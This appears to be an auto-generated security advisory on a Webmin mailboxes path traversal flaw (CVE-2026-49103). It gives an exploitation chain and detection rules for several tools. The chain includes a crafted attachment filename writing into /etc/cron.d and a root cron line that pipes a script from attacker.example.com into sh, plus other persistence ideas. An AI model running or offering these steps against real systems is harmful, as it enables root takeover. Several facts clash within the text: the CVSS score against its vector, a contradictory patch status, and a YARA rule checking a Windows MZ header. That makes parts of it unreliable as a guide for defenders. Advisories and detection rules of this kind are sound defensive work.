CVE-2026-49103

Executive Summary

CVE-2026-49103 is a critical path traversal vulnerability (CWE-24) in the Webmin mailboxes component, affecting versions prior to 2.640. The flaw exists in mailboxes/detachall.cgi, where the application does not safely construct filenames when saving attachments, allowing an authenticated attacker to write arbitrary files to arbitrary locations on the target system. With a CVSS score of 9.4, successful exploitation can lead to remote code execution via file placement into web-accessible directories or overwriting system configuration files. This vulnerability presents an immediate threat to any enterprise environment running Webmin without the 2.640 patch.

Technical Analysis

Webmin is a widely deployed web-based system administration tool for Unix-like systems. The mailboxes component, accessed via mailboxes/detachall.cgi, provides functionality for users to manage email messages stored on the server, including the ability to detach (save) attachments from email messages to disk.

The root cause of CVE-2026-49103 is improper sanitization of the attachment filename during the save operation. When a user initiates a "detach all" operation on an email message containing attachments, the CGI script constructs the destination path by concatenating a user-controlled base directory with attachment filenames taken from the email's MIME headers. The application fails to validate or sanitize these filenames, particularly against directory traversal sequences such as ../ or absolute path components.

Specifically, the vulnerable code path in mailboxes/detachall.cgi processes MIME-part filenames without applying Webmin's standard check_filename or filename_ok validation routines. An attacker who can send an email to a mailbox accessible via Webmin, or who already has access to an email account managed by the Webmin mailboxes module, can craft an attachment with a malicious filename. When the victim (or the attacker themselves) triggers the "detach all" function, Webmin writes the attachment content to a path controlled by the traversal payload.

The attack surface is the authenticated Webmin web interface—specifically the mailboxes module. Authentication is required, which reduces the remote attack surface, but the severity is amplified because the mailboxes module is often granted to lower-privileged users (e.g., email-only users) who would not normally have filesystem write access. The flaw enables those users to escalate from mailbox management to arbitrary file write on the underlying operating system.

From a code-level perspective, the vulnerable logic resembles:

my $detach_dir = $in->{'dir'};  # user-supplied base directory
foreach my $att (@attachments) {
    my $filename = $att->{'filename'};  # from MIME header, unsanitized
    my $fullpath = "$detach_dir/$filename";  # path traversal not prevented
    write_file($fullpath, $att->{'data'});
}

Because $filename may contain ../../../etc/cron.d/backdoor, the final $fullpath escapes the intended directory. The CVSS vector for this vulnerability (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) underscores its severity: it is network-exploitable with low complexity, requires only low privileges, needs no user interaction (the attacker can trigger detach on their own mailbox), and has a changed security scope with complete impact on confidentiality, integrity, and availability.

Exploitation Scenarios

The following is a concrete attack chain for exploiting CVE-2026-49103:

Step 1 — Reconnaissance and Target Identification
The attacker identifies Webmin instances exposed to the internet using Shodan/Censys queries such as "webmin" port:10000 or http.title:"Webmin". They enumerate valid user accounts via the login page (rate-limit not enforced in older versions) or by harvesting credentials from previous data breaches. The attacker specifically looks for instances running versions < 2.640 by checking the footer HTML element which displays the version number, or by requesting /session_login.cgi and noting version-specific headers.

Step 2 — Authentication and Trigger Preparation
The attacker logs into Webmin with low-privileged credentials (e.g., a user granted access to only the Mailboxes module). If the attacker cannot obtain direct access, they craft an email containing a malicious attachment and send it to a mailbox that is managed by an admin user who will later perform "detach all" (social engineering vector). For direct exploitation, the attacker simply accesses their own mailbox via the Webmin Mailboxes UI.

The malicious attachment's MIME header is crafted as follows:

Content-Type: application/octet-stream
Content-Disposition: attachment; filename="../../../etc/cron.d/webmin-rce"

The file content contains a cron job payload, such as:

* * * * * root curl http://attacker.example.com/payload.sh | sh

Step 3 — Weaponization and Execution
The attacker navigates to https://target:10000/mailboxes/detachall.cgi and selects the email containing the crafted attachment. They trigger the "Detach All Attachments" operation. The vulnerable script builds the path as:

/var/webmin/mailboxes/detach_dir/../../../etc/cron.d/webmin-rce

which normalizes to /etc/cron.d/webmin-rce. The script writes the attachment data (the cron job definition) to this absolute path.

Step 4 — Post-Exploitation Impact
Within one minute, cron executes the malicious job, downloading and executing a reverse shell or implant from the attacker's server. The attacker gains a root-level shell on the target (since cron runs as root). They proceed with privilege escalation to persistent control, data exfiltration, lateral movement across the network, and establishing additional persistence mechanisms (e.g., SSH keys, backdoor binaries).

Alternative exploitation paths include:

• Overwriting /etc/ld.so.preload with a malicious library path for immediate code execution.
• Writing a new configuration file into /etc/sudoers.d/ to grant passwordless root access.
• Placing a JSP/PHP web shell into an accessible web root if the system runs other services.
• Overwriting /etc/passwd or /etc/shadow to change root credentials (if permissions allow).

Impact Assessment

The CVSS score of 9.4 (Critical) reflects the full impact triad at the system level. The vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H indicates:

• Attack Vector: Network — Exploitation is possible over the network via the web interface.
• Attack Complexity: Low — No special conditions are required beyond authentication.
• Privileges Required: Low — Any user with mailbox access can exploit the flaw.
• User Interaction: None — The attacker can self-trigger the vulnerability on their own mailbox.
• Scope: Changed — The vulnerable component (Webmin) does not contain the impacted resource (the host OS filesystem).
• Confidentiality/Integrity/Availability Impact: High — Full compromise is achievable.

Business Impact: Webmin is commonly deployed to manage Linux servers in DMZ, internal infrastructure, and even small- to mid-sized enterprise environments. A compromise of a Webmin server typically equates to full control of the host operating system. Given Webmin's root-level administrative capabilities (automated tasks, package installation, user management), RCE via this flaw grants the attacker complete control over the server.

Blast Radius: The compromised host itself is the immediate impact. From there, the attacker can pivot to other systems accessible from that host. In cloud environments, the compromised instance may grant access to the management plane (via instance metadata API), enabling further lateral movement. In on-premises environments, the server may hold backups, configuration files, or connections to internal databases that the attacker will harvest.

Affected Systems: All Webmin installations prior to version 2.640 that have the mailboxes component enabled. This includes both Webmin (full product) and Usermin (which shares the same codebase for mail functionality) if they share the vulnerable mailboxes/detachall.cgi script.

Detection Guidance

The following detection rules target network traffic and system artifacts associated with exploitation of CVE-2026-49103. The primary indicators are: (1) HTTP requests to detachall.cgi with unusual filename parameters, (2) unexpected file creation in system directories, and (3) suspicious cron job entries.

Sigma Rule

title: Webmin CVE-2026-49103 - Mailboxes Detachall Path Traversal
id: 653b9c2e-7d4f-4a2e-9c1d-2f5a8e3b6c10
status: experimental
description: Detects path traversal attempts in Webmin mailboxes detachall.cgi
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49103
author: valtersit.com Threat Intelligence
date: 2026/04/01
logsource:
    category: webserver
    product: apache
    definition: 'Webmin behind reverse proxy; access logs collected'
detection:
    selection:
        http.url|contains:
            - 'detachall.cgi'
        c-uri|contains:
            - '..%2f'
            - '..%5c'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
            - '/etc/'
            - '/var/'
            - '/tmp/'
    filter:
        c-uri|contains: '/mailboxes/detachall.cgi?dir=.*\.(eml|mbox)'
    condition: selection and not filter
falsepositives:
    - Legitimate attachment operations with unusual but valid filenames
level: high
tags:
    - attack.t1190
    - cve.2026-49103
    - cwe.24

YARA Rule

rule Webmin_CVE_2026_49103_Exploitation
{
    meta:
        author = "valtersit.com Threat Intelligence"
        description = "Detects Webmin detachall.cgi path traversal exploitation traces"
        copyright = "valtersit.com"
        date = "2026-04-01"
        cve = "CVE-2026-49103"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-49103"
        severity = "high"

    strings:
        $s_vuln_script = "detachall.cgi" ascii nocase
        $s_traversal_1 = "..%2f" ascii nocase
        $s_traversal_2 = "../" ascii nocase
        $s_traversal_3 = "..%5c" ascii nocase
        $s_system_dir_1 = "/etc/cron.d" ascii nocase
        $s_system_dir_2 = "/etc/sudoers.d" ascii nocase
        $s_system_dir_3 = "/var/spool/cron" ascii nocase
        $s_web_dir = "public_html" ascii nocase
        $s_http_get = "GET /mailboxes/detachall.cgi" ascii nocase

    condition:
        uint16(0) == 0x5A4D or filesize < 10MB and
        (
            ($s_vuln_script and 2 of ($s_traversal_*)) or
            ($s_http_get and 1 of ($s_traversal_*)) or
            (1 of ($s_system_dir_*) and 1 of ($s_traversal_*))
        )
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"ET WEB_SPECIFIC_APPS Webmin CVE-2026-49103 - Detachall Path Traversal Attempt";
    flow:to_server,established;
    content:"detachall.cgi";
    http_uri;
    pcre:"/(?:\.\.%2f|\.\.%5c|%2e%2e%2f|%2e%2e%5c|\.\.\/)/Ui";
    classtype:attempted-admin;
    sid:202649103;
    rev:1;
    metadata:created_at 2026_04_01, updated_at 2026_04_01, cve CVE-2026-49103, attack_target Web_Application, deployment Perimeter, signature_severity Critical, tag Webmin, tag Path_Traversal;
    reference:url,nvd.nist.gov/vuln/detail/CVE-2026-49103;
    reference:cve,2026-49103;
)

Elastic Detection

sequence by process.entity_id with maxspan=1h
  [ file where event.action == "write" and
      process.name : "perl" and
      file.path : (
        "/etc/cron.d/*",
        "/etc/sudoers.d/*",
        "/var/spool/cron/*",
        "/etc/ld.so.preload"
      ) and
      file.path : ("*../*", "*/../*")
  ] by host.id

Splunk SPL Query

index=web OR index=linux_syslog OR index=filesystem
| search "detachall.cgi" OR "webmin" OR "/etc/cron.d/"
| where 
    match(_raw, "(?i)(\.\.%2f|\.\.%5c|%2e%2e%2f|\.\.\/)") OR
    ( sourcetype="linux_audit" AND match(process, "(?i)(detachall|cgi)") AND
      match(source, "(?i)(/etc/(cron|sudoers)|/var/spool/cron|ld.so.preload)") )
| eval cve_match = if(match(_raw, "CVE-2026-49103") OR 
    (match(uri_path, "detachall.cgi") AND match(uri_query, "(?i)(\.\.|etc|var)")),
    "true", "false")
| where cve_match="true"
| table _time, host, src_ip, uri_path, uri_query, http_user_agent, status
| sort - _time

Wazuh OSSEC Rule

<group name="webmin,">
  <rule id="833271" level="15">
    <decoded_as>web</decoded_as>
    <description>Webmin CVE-2026-49103 - Path traversal in mailboxes/detachall.cgi</description>
    <match>detachall.cgi</match>
    <regex>(\.\.%2f|\.\.%5c|%2e%2e%2f|%2e%2e%5c|\.\.\/)</regex>
    <group>attack.t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
    <info type="cve">CVE-2026-49103</info>
    <info type="cwe">CWE-24</info>
    <options>no_full_log</options>
    <alert_email>soc@valtersit.com</alert_email>
  </rule>

  <rule id="833272" level="10">
    <decoded_as>syslog</decoded_as>
    <match>webmin</match>
    <regex>detachall\.cgi.*(\.\.|etc|cron)</regex>
    <description>Webmin file write to system directory (potential CVE-2026-49103)</description>
    <group>attack.t1190,</group>
    <info type="cve">CVE-2026-49103</info>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: CVE-2026-49103 has a claimed patch (confidence 2/4) attributed to a single source (OSV). The fix is reported to be present in Webmin version 2.640. The vendor fix is identified as N/A in the vulnerability data, meaning no official vendor advisory has been publicly confirmed; however, OSV package metadata lists the fix as resolved in a version transition from 0→unfixed, suggesting the next release addresses the issue.

Immediate Mitigations (before patching):

1. Restrict Mailboxes Module Access: Disable the mailboxes module for all non-administrative users. In Webmin, go to Webmin → Webmin Users → select user → Edit Module Access, and remove the Mailboxes module. If the module is not needed by anyone, disable it globally via Webmin → Webmin Configuration → Module Configuration.
2. Network Segmentation: Place Webmin behind a VPN or firewall restricting access to trusted IP ranges only. Critically, do not expose Webmin directly to the internet.
3. Monitor File Integrity: Deploy file integrity monitoring (e.g., OSSEC, Tripwire) on critical directories including /etc/cron.d/, /etc/sudoers.d/, and /etc/ld.so.preload to alert on unexpected changes.
4. Enable Webmin Auditing: If available in the installed version, enable audit logging to capture all mailboxes module operations.

Patch/Upgrade Steps:

1. Upgrade Webmin to version 2.640 or later as soon as the official release is confirmed. Download the latest package from the official Webmin website (webmin.com) or via your distribution's package manager.
2. After upgrade, verify the version number by navigating to Webmin → Webmin Configuration → Version.
3. Validate that mailboxes/detachall.cgi now performs proper filename sanitization (e.g., via File::Basename or explicit ../ stripping).
4. If you cannot upgrade immediately, apply the patch from the Webmin GitHub repository once the commit addressing this issue is merged into the master branch.

Long-Term Hardening:

1. Principle of Least Privilege: Audit all Webmin users. Ensure no account has the mailboxes module enabled unless strictly required. Use role-based access control available in Webmin.
2. Regular Patch Cadence: Subscribe to Webmin security announcements and the OSV database. Apply patches within 48 hours for critical CVEs.
3. Out-of-Band Administration: Place Webmin on a separate management VLAN with strict egress controls. Prefer SSH-based administration where possible.
4. Runtime Protection: Deploy a WAF (e.g., ModSecurity) in front of Webmin with rules to block path traversal patterns in detachall.cgi requests.
5. Credential Hardening: Enforce multi-factor authentication for Webmin logins (available via the authentic module) to reduce the risk of credential-based exploitation.
6. Baseline Monitoring: Maintain a baseline of cron directories and system configuration files. Use an SIEM to alert on any new file creations in these paths.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-49103 — Official NVD record for CVE-2026-49103 with CVSS vector, CWE mapping, and description.
2. Webmin Official Site: https://www.webmin.com/ — Vendor portal; download the patched version 2.640 once available. Monitor the download page for release notes.
3. OSV Database Record: https://osv.dev/vulnerability/CVE-2026-49103 — Open Source Vulnerability database entry containing the patch reference (OSV package metadata indicating fix state).
4. Webmin GitHub Repository: https://github.com/webmin/webmin — Source code repository. Track the mailboxes/detachall.cgi file for the upcoming sanitization fix commit. Monitor release branches for version 2.640.
5. CWE-24 Reference: https://cwe.mitre.org/data/definitions/24.html — MITRE CWE entry detailing the "Path Traversal: '../filedir'" weakness class.

Threat Actor Campaigns and Exploit-in-the-Wild Evidence: As of the writing of this report, there is no evidence of active exploitation of CVE-2026-49103 in the wild. It has not been added to CISA's Known Exploited Vulnerabilities (KEV) catalog (status: NO). The EPSS score of 0.00396 (32.4th percentile) indicates a low probability of near-term exploitation based on current threat intelligence. However, given the critical CVSS rating and the historical pattern of Webmin vulnerabilities being actively targeted (e.g., CVE-2019-15107 which was exploited within 24 hours of public disclosure), security teams should treat this as urgent and apply mitigations immediately. Organizations using Webmin should monitor security mailing lists and the vendor's changelog for the official 2.640 release confirmation.